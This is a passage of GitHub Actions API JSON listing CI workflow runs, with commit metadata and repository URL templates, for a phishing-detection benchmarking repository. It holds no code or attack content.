","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":279532980,"node_id":"MDExOldvcmtmbG93UnVuMjc5NTMyOTgw","head_branch":"feature_fit","head_sha":"675d8953e71397a82897740cf5f7235210244661","run_number":271,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1264455269,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjY0NDU1MjY5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532980","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/279532980","pull_requests":[],"created_at":"2020-09-30T00:34:42Z","updated_at":"2020-09-30T00:37:40Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532980/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532980/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1264455269","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532980/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532980/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532980/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"675d8953e71397a82897740cf5f7235210244661","tree_id":"4a5da3d1c41616abea86eb154f2e648dc18f45c8","message":"Fixed get_config","timestamp":"2020-09-30T00:34:33Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":279473039,"node_id":"MDExOldvcmtmbG93UnVuMjc5NDczMDM5","head_branch":"feature_fit","head_sha":"3a18ec0a94bcc5986e6a60a24913ce1234213e6a","run_number":270,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1264299384,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjY0Mjk5Mzg0","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473039","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/279473039","pull_requests":[],"created_at":"2020-09-29T23:38:49Z","updated_at":"2020-09-29T23:41:24Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473039/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473039/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1264299384","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473039/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473039/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473039/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"3a18ec0a94bcc5986e6a60a24913ce1234213e6a","tree_id":"a559f75392c481f1f6bf16f3c06439fcecf89cfd","message":"Email two-step test","timestamp":"2020-09-29T23:38:39Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":279470830,"node_id":"MDExOldvcmtmbG93UnVuMjc5NDcwODMw","head_branch":"feature_fit","head_sha":"bba9e413a4b0fc9306ca95b08416bf736948c234","run_number":269,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1264292159,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjY0MjkyMTU5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470830","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/279470830","pull_requests":[],"created_at":"2020-09-29T23:36:04Z","updated_at":"2020-09-29T23:38:47Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470830/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470830/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1264292159","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470830/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470830/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470830/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"bba9e413a4b0fc9306ca95b08416bf736948c234","tree_id":"1ef66af6784706052c3e2f57109fdaa16c872c70","message":"Fixed load_dataset","timestamp":"2020-09-29T23:35:55Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/